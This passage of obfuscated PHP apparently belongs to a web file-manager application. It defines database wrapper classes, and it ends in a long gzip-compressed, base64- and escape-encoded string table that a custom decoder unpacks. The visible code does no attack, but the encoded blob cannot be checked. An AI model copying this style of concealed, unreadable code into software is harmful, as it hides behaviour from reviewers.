$_SERVER[Ȣ]; $׀ = array($˭[1966] => $, $˭[1872] => $شٿ, $˭[1967] => $梚 + time()); if (Session::get($˭[1968])) { $׀[$˭[1666]] = Session::get($˭[1968]); } else { $׀[$˭[1666]] = 0; } if ($this->get($)) { return $this->where(array($˭[1966] => $))->save($׀); } else { return $this->add($׀, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[Ȣ][1966] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[Ȣ][1969] . time())->delete(); } } goto fӆ; F죟: class DbMysqli extends Db { public function __construct($٩ = '') { $Ӈӯ =& $_SERVER[Ȣ]; if (!extension_loaded($Ӈӯ[924])) { think_exception(think_lang($Ӈӯ[14]) . $Ӈӯ[925]); } if (!empty($٩)) { $this->config = $٩; if (empty($this->config[$Ӈӯ[17]])) { $this->config[$Ӈӯ[17]] = $Ӈӯ[12]; } } } public function connect($ = '', $쪫 = 0) { $· =& $_SERVER[Ȣ]; if (!isset($this->linkID[$쪫])) { if (empty($)) { $ = $this->config; } $this->linkID[$쪫] = new mysqli($[$·[898]], $[$·[900]], $[$·[901]], $[$·[21]], $[$·[899]] ? intval($[$·[899]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ġ = $this->linkID[$쪫]->server_version; $this->linkID[$쪫]->query($·[902] . think_config($·[903]) . $·[58]); if ($ġ > $·[904]) { $this->linkID[$쪫]->query($·[905]); } $this->connected = !0; if (1 != think_config($·[22])) { unset($this->config); } } return $this->linkID[$쪫]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ =& $_SERVER[Ȣ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ؚ = $this->_linkID->next_result()) != NULL) { $ؚ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($҆) { $च =& $_SERVER[Ȣ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $҆; if ($this->queryID) { $this->free(); } think_action_status($च[25], 1); think_status($च[24]); $غ = $this->_linkID->query($҆); $this->debug(); if (!1 === $غ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ߓ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $ߓ[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ߓ; } public function getFields($ߠ) { $ϑ =& $_SERVER[Ȣ]; $ڢ = $this->query($ϑ[909] . $this->parseKey($ߠ)); $ = array(); if ($ڢ) { foreach ($ڢ as $ => $Խ) { $[$Խ[$ϑ[31]]] = array($ϑ[32] => $Խ[$ϑ[31]], $ϑ[33] => $Խ[$ϑ[34]], $ϑ[35] => (bool) ($Խ[$ϑ[36]] === $ϑ[12]), $ϑ[37] => $Խ[$ϑ[38]], $ϑ[39] => strtolower($Խ[$ϑ[40]]) == $ϑ[41], $ϑ[42] => strtolower($Խ[$ϑ[43]]) == $ϑ[44]); } } return $; } public function getTables($ = '') { $Ӓ =& $_SERVER[Ȣ]; $ݺ = !empty($) ? $Ӓ[911] . $ . $Ӓ[912] : $Ӓ[913]; $ӷ = $this->query($ݺ); $ɜ = array(); if ($ӷ) { foreach ($ӷ as $샔 => $ə) { $ɜ[$샔] = current($ə); } } return $ɜ; } public function replace($ֱ, $ = array()) { $ˍ =& $_SERVER[Ȣ]; foreach ($ֱ as $Ѵȍ => $馁) { $Ё = $this->parseValue($馁); if (is_scalar($Ё)) { $[] = $Ё; $߲[] = $this->parseKey($Ѵȍ); } } $ɗ = $ˍ[914] . $this->parseTable($[$ˍ[287]]) . $ˍ[915] . implode($ˍ[50], $߲) . $ˍ[916] . implode($ˍ[50], $) . $ˍ[917]; return $this->execute($ɗ); } public function insertAll($ɪ, $ = array(), $ = false) { $҄ =& $_SERVER[Ȣ]; if (!is_array($ɪ[0])) { return !1; } $Ӓ = array_keys($ɪ[0]); $ = array(); foreach ($ɪ as $體) { $Ê = array(); foreach ($體 as $ => $ݣ) { $ݣ = $this->parseValue($ݣ); if (is_scalar($ݣ)) { $Ê[] = $ݣ; } } $[] = $҄[268] . implode($҄[50], $Ê) . $҄[917]; } array_walk($Ӓ, array($this, $҄[918])); $Nj = $ ? $҄[919] : $҄[920]; $ = $Nj . $҄[921] . $this->parseTable($[$҄[287]]) . $҄[915] . implode($҄[50], $Ӓ) . $҄[922] . implode($҄[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $Ω =& $_SERVER[Ȣ]; $this->error = $this->_linkID->errno . $Ω[4] . $this->_linkID->error; if ($Ω[12] != $this->queryStr) { $this->error .= LNG($Ω[48]) . $this->queryStr; } think_trace($this->error, $Ω[12], $Ω[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$骋, $á = true) { $ =& $_SERVER[Ȣ]; if ($á) { $骋 = $this->parseKeyCheck($骋); } if ($骋 != $[195] && !preg_match($[923], $骋)) { $骋 = $[393] . trim($骋, $[393]) . $[393]; } return $骋; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[Ȣ]; if (!class_exists($[926])) { think_exception(think_lang($[14]) . $[927]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ל = '', $揋ڈ = 0) { $ =& $_SERVER[Ȣ]; if (!isset($this->linkID[$揋ڈ])) { if (empty($ל)) { $ל = $this->config; } $ = !empty($ל[$[17]][$[18]]) ? $ל[$[17]][$[18]] : $this->pconnect; if ($) { $ל[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$揋ڈ] = new PDO($ל[$[928]], $ל[$[900]], $ל[$[901]], $ל[$[17]]); } catch (PDOException $Ԩ) { think_exception($Ԩ->getMessage()); } $this->dbType = $this->_getDsnType($ל[$[928]]); if (in_array($this->dbType, array($[929], $[930], $[931], $[932]))) { think_exception($[933] . $this->dbType . $[934] . $this->dbType . $[935]); } if (!$this->linkID[$揋ڈ]) { think_exception($[936]); } try { $this->linkID[$揋ڈ]->exec($[937] . think_config($[903])); } catch (Exception $Ԩ) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$揋ڈ]; } public function free() { $this->PDOStatement = null; } public function query($㗺, $ᦑ = array()) { $ؐ =& $_SERVER[Ȣ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $㗺; if (!empty($ᦑ)) { $this->queryStr .= $ؐ[938] . print_r($ᦑ, !0) . $ؐ[939]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ؐ[23], 1); think_status($ؐ[24]); $this->PDOStatement = $this->_linkID->prepare($㗺); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ٽ = $this->PDOStatement->execute($ᦑ); $this->debug(); if (!1 === $ٽ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $旗 = array()) { $ =& $_SERVER[Ȣ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($旗)) { $this->queryStr .= $[938] . print_r($旗, !0) . $[939]; } $ = !1; if ($this->dbType == $[932]) { if (preg_match($[940], $this->queryStr, $Ҭ)) { $this->table = think_config($[941]) . str_ireplace(think_config($[942]), $[386], $Ҭ[2]); $ = (bool) $this->query($[943] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $·ޭ = $this->PDOStatement->execute($旗); $this->debug(); if (!1 === $·ޭ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($[944], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $裧 = $this->_linkID->rollback(); $this->transTimes = 0; if (!$裧) { $this->error(); return !1; } } return !0; } private function getAll() { $Λ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Λ); return $Λ; } public function getFields($Ǚ) { $ =& $_SERVER[Ȣ]; $this->initConnect(!0); if (think_config($[945])) { $α = str_replace($[946], $Ǚ, think_config($[945])); } else { switch ($this->dbType) { case $[929]: case $[947]: $α = "\123\105\x4c\105\103\124\x20\x20\40\x63\x6f\x6c\165\155\x6e\137\x6e\x61\x6d\145\x20\141\x73\x20\x27\x4e\141\155\x65\47\54\x20\40\40\144\x61\164\141\137\x74\171\160\145\40\141\x73\40\x27\124\171\160\x65\x27\x2c\x20\40\x20\x63\x6f\154\165\x6d\x6e\x5f\x64\x65\146\141\165\x6c\x74\40\x61\x73\x20\47\104\x65\146\x61\x75\x6c\164\47\x2c\40\x20\40\x69\163\x5f\x6e\165\154\154\141\142\x6c\145\x20\x61\163\x20\x27\x4e\165\x6c\x6c\x27\xa\x9\x9\x46\x52\117\115\11\x69\x6e\x66\x6f\x72\x6d\x61\164\x69\x6f\156\137\163\x63\150\145\x6d\141\x2e\x74\x61\x62\x6c\145\x73\x20\x41\x53\40\x74\xa\11\x9\112\x4f\111\116\11\151\156\x66\157\162\x6d\141\164\151\x6f\x6e\137\x73\x63\150\145\155\141\x2e\x63\x6f\x6c\165\155\x6e\x73\x20\101\123\x20\x63\12\x9\x9\117\x4e\x20\x20\164\56\164\x61\142\x6c\145\x5f\143\141\164\x61\154\x6f\147\40\75\x20\x63\56\x74\141\x62\154\x65\x5f\143\x61\x74\x61\154\157\x67\12\11\11\101\x4e\104\40\x74\56\x74\x61\x62\154\x65\x5f\163\143\x68\145\155\141\x20\x3d\x20\x63\x2e\x74\141\x62\x6c\x65\137\x73\143\x68\145\x6d\x61\xa\x9\x9\x41\x4e\104\x20\164\56\x74\x61\142\x6c\x65\x5f\x6e\x61\x6d\x65\x20\75\x20\143\x2e\x74\141\x62\x6c\x65\x5f\156\x61\155\145\12\x9\11\x57\x48\105\x52\105\40\x20\40\164\x2e\x74\141\142\154\145\137\x6e\x61\155\145\40\x3d\40\47{$Ǚ}\47"; break; case $[948]: $α = $[949] . $Ǚ . $[950]; break; case $[930]: case $[932]: $α = $[951] . $[952] . $[953] . strtoupper($Ǚ) . $[954] . strtoupper($Ǚ) . $[955]; break; case $[956]: $α = $[957] . $Ǚ . $[958]; break; case $[931]: break; case $[959]: default: $α = $[960] . ($this->dbType == $[959] ? "\x60{$Ǚ}\x60" : $Ǚ); } } $ = $this->query($α); $ؽ = array(); if ($) { foreach ($ as $ӕ => $Ȩϒ) { $Ȩϒ = array_change_key_case($Ȩϒ); $Ȩϒ[$[32]] = isset($Ȩϒ[$[32]]) ? $Ȩϒ[$[32]] : $[386]; $Ȩϒ[$[33]] = isset($Ȩϒ[$[33]]) ? $Ȩϒ[$[33]] : $[386]; $Ⱦ = isset($Ȩϒ[$[281]]) ? $Ȩϒ[$[281]] : $Ȩϒ[$[32]]; $ؽ[$Ⱦ] = array($[32] => $Ⱦ, $[33] => $Ȩϒ[$[33]], $[35] => (bool) (isset($Ȩϒ[$[114]]) && $Ȩϒ[$[114]] === $[12] || isset($Ȩϒ[$[35]]) && $Ȩϒ[$[35]] === $[12]), $[37] => isset($Ȩϒ[$[37]]) ? $Ȩϒ[$[37]] : (isset($Ȩϒ[$[56]]) ? $Ȩϒ[$[56]] : $[386]), $[39] => isset($Ȩϒ[$[105]]) ? strtolower($Ȩϒ[$[105]]) == $[41] : (isset($Ȩϒ[$[57]]) ? $Ȩϒ[$[57]] : !1), $[42] => isset($Ȩϒ[$[961]]) ? strtolower($Ȩϒ[$[961]]) == $[44] : (isset($Ȩϒ[$[105]]) ? $Ȩϒ[$[105]] : !1)); } } return $ؽ; } public function getTables($ĸ = '') { $뭇 =& $_SERVER[Ȣ]; if (think_config($뭇[962])) { $挂ٹ = str_replace($뭇[963], $ĸ, think_config($뭇[962])); } else { switch ($this->dbType) { case $뭇[930]: case $뭇[932]: $挂ٹ = $뭇[964]; break; case $뭇[929]: case $뭇[947]: $挂ٹ = $뭇[965]; break; case $뭇[956]: $挂ٹ = $뭇[966]; break; case $뭇[931]: think_exception(think_lang($뭇[967]) . $뭇[968]); break; case $뭇[948]: $挂ٹ = $뭇[45] . $뭇[46] . $뭇[47]; break; case $뭇[959]: default: if (!empty($ĸ)) { $挂ٹ = $뭇[911] . $ĸ . $뭇[912]; } else { $挂ٹ = $뭇[913]; } } } $ = $this->query($挂ٹ); $ = array(); foreach ($ as $Ո => $Թ) { $[$Ո] = current($Թ); } return $; } protected function parseLimit($) { $ =& $_SERVER[Ȣ]; $Ǎ = $[12]; if (!empty($)) { switch ($this->dbType) { case $[956]: case $[948]: $ = explode($[50], $); if (count($) > 1) { $Ǎ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $Ǎ .= $[51] . $[0] . $[53]; } break; case $[929]: case $[947]: break; case $[931]: break; case $[930]: case $[932]: break; case $[959]: default: $Ǎ .= $[51] . $ . $[53]; } } return $Ǎ; } public function parseKey(&$, $š = true) { $Χ =& $_SERVER[Ȣ]; if ($š) { $ = $this->parseKeyCheck($); } if ($this->dbType == $Χ[959]) { if ($ != $Χ[195] && !preg_match($Χ[923], $)) { $ = $Χ[393] . trim($, $Χ[393]) . $Χ[393]; } return $; } else { return parent::parseKey($, $š); } } public function close() { $this->_linkID = null; } public function error() { $̤ =& $_SERVER[Ȣ]; if ($this->PDOStatement) { $н = $this->PDOStatement->errorInfo(); $this->error = $н[1] . $̤[4] . $н[2]; } else { $this->error = $̤[12]; } if ($̤[12] != $this->queryStr) { $this->error .= LNG($̤[48]) . $this->queryStr; } think_trace($this->error, $̤[12], $̤[49]); return $this->error; } public function escapeString($) { $٧ =& $_SERVER[Ȣ]; switch ($this->dbType) { case $٧[956]: case $٧[929]: case $٧[947]: case $٧[959]: return addslashes($); case $٧[931]: case $٧[948]: case $٧[930]: case $٧[932]: return str_ireplace($٧[58], $٧[59], $); } } protected function parseValue($ـƻ) { $ȅ =& $_SERVER[Ȣ]; if (is_string($ـƻ)) { $̧ = strpos($ـƻ, $ȅ[4]) === 0 && in_array($ـƻ, array_keys($this->bind)); $ـƻ = $̧ ? $this->escapeString($ـƻ) : $ȅ[969] . $this->escapeString($ـƻ) . $ȅ[969]; } elseif (isset($ـƻ[0]) && is_string($ـƻ[0]) && strtolower($ـƻ[0]) == $ȅ[305]) { $ـƻ = $this->escapeString($ـƻ[1]); } elseif (is_array($ـƻ)) { $ـƻ = array_map(array($this, $ȅ[970]), $ـƻ); } elseif (is_bool($ـƻ)) { $ـƻ = $ـƻ ? $ȅ[99] : $ȅ[204]; } elseif (is_null($ـƻ)) { $ـƻ = $ȅ[114]; } return $ـƻ; } public function getLastInsertId() { $ =& $_SERVER[Ȣ]; switch ($this->dbType) { case $[956]: case $[948]: case $[929]: case $[947]: case $[931]: case $[959]: return $this->_linkID->lastInsertId(); case $[930]: case $[932]: $ҭͿ = $this->table; $Ӛ = $this->query("\123\105\x4c\x45\x43\x54\40{$ҭͿ}\x2e\x63\x75\162\162\166\x61\x6c\x20\x63\165\162\x72\x76\141\154\x20\106\x52\x4f\x4d\x20\x64\x75\x61\x6c"); return $Ӛ ? $Ӛ[0][$[971]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($ݥ҇) { $Ե =& $_SERVER[Ȣ]; if (!CacheLock::fileLock($Ե[13])) { return !1; } $ = parent::query($ݥ҇); CacheLock::fileUnLock($Ե[13]); return $; } public function execute($) { $ۄ =& $_SERVER[Ȣ]; if (!CacheLock::fileLock($ۄ[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($ۄ[13]); return $; } } goto A觽; b: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\257\265\347\233\310\242", base64_decode('z/PSisCU')); $_SERVER[Ȣ] = explode("\174\1\174\3\174\1", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\275\11\174\33\305\365\70\116\200\266\204\273\134\55\224\266\213\41\330\116\164\70\166\116\47\116\42\333\262\55\42\133\106\222\163\20\233"."\315\112\132\131\153\113\132\131\273\362\225\244\224\43\334\367\221\162\204\253\205\2\205\160\337\107\200\102\71\13\345\206\222\2\205\134\224\273\245\205\6\372\245\277\71\336\34\273"."\x92\xe1\xfb\xff\xfc\x7f\x9f\xcf\x2f\x90\x68\xee\x9d\x79\xf3\xe6\xcd\x7b\x6f\xde\xbc\xb9\xf0\xfe\xdf\x9c\x75\xf2\x2b\xab\x27\xad\xde\x65\xf5\xa4\x8f\x5e\xb8\xeb\xac\x67\x6f\xa4\x61\xf2\xdf\xf7"._kodDe('MuRUU9Oi2OX/65+TBcDDuGBpxsNG04qlyMct5aFroWorC9Orw8Pe6iuKGlxG5uuL6g==').strrev('QQ[L稸h}\'Ws!v߯s}9~y').strrev('zI.˴:-~l~'."\r".'|N2')."\200\71\257\337\66\370\146\313\320\202\153\136\31\76\245\351\207\33\216\334\255\373\250\206\5\7\235\126\173\127\353\266\357\377\351\354\163\337\170\362\360\261\35\323\237\355\171\260"."\346\212\177\327\35\325\167\321\111\173\137\374\350\157\57\73\365\241\261\103\116\232\375\306\335\267\356\361\116\370\234\133\77\333\345\324\227\264\346\13\152\172\332\214\336\320\254\326"."\165\157\117\375\362\220\3\67\364\175\362\351\21\317\135\224\171\357\301\130\307\352\364\310\163\115\235\57\116\317\77\123\373\315\336\237\155\30\74\363\307\7\206\163\13\156\275\360"."\320\272\75\17\174\71\161\326\272\233\316\310\176\174\303\206\307\66\156\270\175\152\177\346\302\241\31\123\137\30\370\372\260\43\117\152\173\365\177\236\70\176\111\176\326\212\47\217".base64_decode('+c0fxp68y7th08C/tj+7186ffHbyfkcU80rPsadt3W/fPULpK2uue+aFczfcN3X6')."\367\7\252\136\271\377\234\227\267\375\326\363\356\316\115\371\153\236\232\127\167\350\354\336\330\251\253\153\16\75\154\376\205\241\243\376\265\367\53\63\367\371\54\176\302\133\103\267"."\136\366\352\155\263\223\227\237\30\274\343\324\311\367\377\342\316\144\357\345\207\114\373\311\63\133\377\171\362\332\223\317\337\70\353\17\125\247\357\374\77\277\135\373\263\53\26\335"."\76\363\1\355\265\337\357\275\347\36\257\357\365\362\336\327\254\334\347\371\346\356\257\336\71\174\277\327\257\36\174\371\223\57\43\75\346\254\151\17\316\75\371\335\324\246\107\57"."\377\325\231\265\73\357\357\213\135\173\371\131\371\100\163\335\330\212\233\366\316\36\174\315\25\77\232\366\354\251\107\276\23\275\52\61\345\262\245\15\355\207\126\255\177\173\260\347"."\256\337\34\163\317\165\157\36\271\163\147\307\21\267\17\177\365\77\167\277\266\341\325\301\267\216\131\232\131\71\351\365\213\16\276\145\350\205\17\357\270\370\205\251\363\266\236\170".base64_decode('4jENpx08af6BL+324U4fn3j0+hVvf3/bQ5vWPnh2QQkvG1898qedejY/fkjwgj9U')."\355\367\152\366\260\45\253\142\37\75\371\334\346\347\266\64\217\76\177\344\247\15\227\276\33\330\343\233\216\247\274\267\126\355\75\153\377\306\73\157\373\343\161\155\307\377\64\136"."\163\351\310\47\305\257\336\316\275\125\263\345\214\33\317\330\143\361\310\101\237\74\176\332\244\363\247\156\152\271\153\327\204\375\367\17\373\177\164\334\127\177\170\365\306\207\373\36"."\xfa\xc5\xf8\x8e\x5f\x5d\xf7\x4e\xd3\x71\x43\xff\xfa\xea\x5f\xab\x96\xde\xf2\x70\xe3\x71\x3b\xfe\xf4\xf9\x39\xc7\xf6\xae\xfe\xe6\xf5\x67\x7f\x75\x8b\xef\xbf\x9f\x3d\x3b\x77\xee\x90\x79\xce\xbf"."\237\370\371\177\354\105\353\216\133\367\317\313\16\172\47\363\314\343\7\134\330\172\156\177\137\307\301\277\154\277\153\337\175\377\366\331\353\217\255\353\376\42\160\373\364\75\346\125"."\x4d\xfa\xc9\x9\x79\x7b\xf3\x4e\x93\xd6\x1c\x90\xbe\x7c\x6d\xe6\x82\x81\x8f\x1e\xbe\xef\xe5\xe5\xf7\xa4\xb4\xc4\x95\x8f\xc6\x1f\xf6\xa4\x37\xdf\x79\x6d\x3c\x5a\x73\xd0\xfa\x19\xcd\x6b\xf\x38"."\xaa\xfe\xbe\xc5\x7b\xef\xa3\xf\x1d\xfd\x74\xe7\xa3\x1f\x5c\xa1\x9d\xfd\x73\xfd\xed\xbe\x65\xe3\xf\xda\x23\x47\x4f\x3b\x6d\xdd\x26\xcf\x1\x9f\x9f\xf3\xa3\x75\x7\x7d\x39\xfc\xe1\x43\x3\x4f"."\317\350\172\151\155\333\347\77\125\357\110\355\124\174\43\265\375\106\365\320\267\17\110\156\131\132\265\51\250\325\335\374\243\377\74\265\364\322\216\53\16\326\202\107\36\376\341\17"."\7\255\73\166\331\366\372\242\370\224\253\153\166\326\36\173\164\311\23\327\236\372\154\133\137\333\72\204\10\357\314\373\355\103\217\174\136\167\265\361\300\312\75\167\335\170\326\56".strrev('ٿZZs]PqC}gAx沸ZO')."\276\357\351\177\135\372\350\312\137\137\360\365\326\67\37\373\152\345\75\27\36\377\362\35\233\217\175\341\6\373\267\153\67\274\366\311\237\307\137\74\370\314\331\137\75\267\344\332"."\xd8\x9f\xce\x6b\x6c\xfc\xe3\x8b\x9b\xbf\x9e\x76\x70\xff\xfc\x4b\xce\x7e\x60\xd3\x5d\x1b\xb7\xbd\xfa\x41\xcf\xae\xd\x9b\xef\x5a\xff\xc0\x3\x77\xdc\xff\xd6\x4c\xe3\x9e\xc7\xfe\xf4\xe7\x7b\x1f"."\xba\xf3\xde\xee\xdf\xbd\x16\xfc\xf3\x75\xf1\x39\x17\x4d\xc9\x2e\xfe\xc2\x93\x3d\xe5\xde\x2f\x6e\xdb\x5e\x53\xbd\x6c\x55\xeb\xf2\x79\x17\x4f\x5e\x71\xd6\x95\x7f\x49\x84\xd6\xf6\x1d\xb0\xdb\xb4"."\317\377\61\171\316\367\66\166\145\317\171\346\220\217\77\170\367\361\367\36\370\165\375\351\37\377\276\272\371\337\7\65\46\172\372\336\364\277\162\310\127\7\234\173\324\362\225\7"."\x3e\x90\x39\xb9\x33\x76\xed\xef\x27\xaf\xa\x9f\xbb\x66\x51\x6b\xfc\xd2\x9b\x66\xf7\x37\xed\xfe\xe8\x75\x8b\x4e\x7a\x4f\xe9\xb8\xfb\x8d\x1f\x5c\xfc\xbb\x6b\xcf\x5e\xf8\x97\xf4\x8d\xd5\x8b\x76"."\237\363\213\323\317\256\372\142\316\315\251\247\166\72\166\356\17\317\337\77\23\311\335\163\350\123\357\317\136\166\331\45\127\335\372\166\162\237\311\175\347\216\377\363\366\311\127\36"."\221\270\155\373\75\373\245\13\27\34\343\273\135\277\352\301\352\103\367\177\42\162\313\153\347\337\260\156\346\212\275\374\277\37\116\276\377\273\376\57\377\365\3\337\372\147\356\376".base64_decode('QVfT47sG+y/Z646LJv3wmhse2cm3qOGdL+74qO/9I4/+6V3L7x/4/m++af/Ls0/d')."\xfe\x83\x1d\xff\x79\xf3\xf4\xa3\x7b\x4f\xdb\x7c\xd3\xce\xcb\x9e\xda\x7d\xd2\xf2\xcc\x1e\xfb\x7d\x51\xef\x3d\xf2\xa5\xeb\x37\x1c\x33\x25\xb9\xe6\xd6\x63\x5e\x7d\xbd\x77\x60\xcb\xf0\x4f\x2e\xf8".base64_decode('wab77tjb27TnCbMWNL55yIKnxm68auUtP//4k3WbkjNqtQ2v/e6cpucuveSmU8+a')."\367\341\23\153\106\66\255\277\142\362\277\333\226\371\16\30\371\342\167\377\172\351\211\367\136\332\374\344\257\363\317\75\372\306\227\347\235\136\332\264\336\370\131\170\313\322\247\73".base64_decode('7FP0g5/5z6bzv/8P87Ljlli1O93Scf+067731uK1i9pv3u+twfY7D7r8hKN+fsJh')."\337\64\275\372\303\310\13\17\66\232\235\253\137\177\165\367\373\136\77\71\32\174\146\335\343\211\213\56\110\335\175\306\127\357\306\7\56\50\275\367\217\35\13\175\127\254\51\375"."\375\1\377\315\33\377\363\352\216\47\337\131\377\337\57\357\331\176\345\352\361\35\117\337\161\306\302\157\76\174\340\107\127\136\276\360\353\372\233\136\136\32\271\122\375\346\353\115"."\237\175\271\151\241\272\161\174\154\307\237\333\267\77\274\343\177\166\134\367\163\365\27\237\177\171\343\177\127\177\363\360\55\17\377\365\242\25\7\174\364\345\362\47\137\132\373\310"."\305\267\35\373\334\165\332\321\17\336\65\366\341\117\27\174\371\374\327\277\337\276\342\242\201\15\33\37\172\371\215\267\6\77\371\371\235\157\136\236\277\345\270\121\173\365\177\37".base64_decode('bal7Ya/M3t6vUycd+qNVyfde/qtdf/nlW5f8Y+17H7z5VVvtHTuS2g33TjsvvqN/').strrev('{v'."\0".'R\' wy9w+ẵI{jxWym,?')."\x62\x2c\x91\xd1\x92\x16\xb0\x45\x60\xc2\x92\xd6\x33\x63\x36\xb3\x92\xae\xaf\x3\x46\x48\xb3\x7\x86\x33\xe6\x38\x8d\x34\xd0\x9f\x39\x75\x73\x81\x6f\x2f\xe\xe8\xa3\x83\x90\x69\xf\xe6\xc\x2d".base64_decode('C/VHkwktV4DzzdExI2WlQfU0cza0bGqD+UQKeMyEjcTsflA0jKXGE8MaVG5ogPPT')."\x62\xbf\x39\x3e\x96\x0\x51\x65\x26\x2b\x39\x52\xc8\x98\xa0\x11\x6b\x98\x1\xfd\x1b\xcb\xc\x19\x9\x66\xc2\xdc\xd0\x0\x8a\xdf\xa1\xc1\x52\x21\xc5\xee\x9\xd4\xcf\x81\x21\xcc\x2\xe3\xae\x19".base64_decode('AIWGWbNARrf7U9YodA+aMHKWme8HubK+HgYydy6YsA/ZZk5jl0Lq50KLc6Hy3Onw')."\311\231\15\120\76\133\110\351\143\103\114\165\140\31\271\102\12\124\22\211\102\266\64\236\201\17\315\230\13\243\35\36\30\313\17\152\160\114\75\60\232\316\25\30\354\123\231\221"."\xa1\x5c\x16\xf8\xef\x7c\x76\x74\x2c\xc1\x4e\x39\x1b\x58\xe5\x42\x3a\x63\xa4\xc6\x18\xf8\x66\xc2\xb0\x67\xb3\xa9\x9c\x1\x9\xd\xf5\xd\xac\xb\xb9\xc1\x1\x1d\xfa\x33\x6e\xf4\x8f\x69\x25\x60"."\373\23\305\102\52\231\146\23\155\15\145\306\15\0\323\254\271\60\127\263\352\141\320\51\43\237\55\246\23\114\263\60\224\34\344\347\51\271\344\320\70\223\74\147\315\146\263\0"."\320\117\45\113\303\331\261\64\203\40\164\262\201\201\160\372\54\146\256\236\33\325\12\343\60\360\201\224\66\226\35\147\172\201\221\341\202\61\224\143\110\0\355\146\262\103\132\236"."\xcd\xea\x4c\x36\x71\xd3\xd9\xe8\xc7\x7\xfa\x91\xb4\x0\x10\x6e\x98\xd\x95\xe6\xcc\x4\x98\xd4\x33\xf1\x60\xcc\x18\x4c\xf\xf\x1\x3c\xe6\xce\x86\x51\xcf\x99\x3\xbd\xca\xda\x99\x21\xbd\x34".base64_decode('ytASmpnJhjFrOkBnRgPDPoYSM9jAdC1hp1PQhFEayAwVudlSbmiEyTtz5kILRqo/').base64_decode('N56AIqlhe7x/iFmmj2jJ0jgIvbNZ+ekzYSh6tqiVcjBk0+ofGUrCSs2M5scLaYZu').base64_decode('Q8lCdgzAOZetmuyIjugDHM6XRgZyo0xtq2UHkkWbnXWXsiMDzOiifi5Ac24dgKFh')."\x26\xe0\x68\x2e\x9b\xb2\x86\xc6\x61\xd6\xd3\xf9\xf1\x11\x2b\xb\xab\x23\x9b\x4f\x8d\x8d\x32\x25\xe2\xc\xb6\x90\xe6\xb0\x31\x20\x24\xc8\x27\x60\x2d\xcc\x60\x64\x60\x50\x47\xf8\xc5\x50\xb3\x61"."\6\100\170\60\233\352\37\57\15\261\251\153\140\10\310\150\207\231\264\6\154\310\36\51\245\155\143\40\11\13\324\264\6\362\43\320\271\176\75\231\111\131\60\42\243\220\63\107".base64_decode('mOJ5Nltwc9k4jbFMMVuCNTB7OmTXzwYYzprBgDqTYfkcNj4owbB3zmzAjkFzNNs/')."\4\213\247\224\324\206\13\314\230\161\154\164\140\260\150\245\31\250\31\211\142\263\235\311\16\217\345\265\22\33\64\133\166\214\224\315\142\275\313\216\44\162\103\314\314\264\64\230"."\326\364\254\311\250\27\164\146\171\16\366\217\146\55\71\310\246\6\211\342\166\311\162\25\340\367\155\362\276\234\226\347\166\62\35\6\3\254\144\227\55\27\30\324\165\146\17\31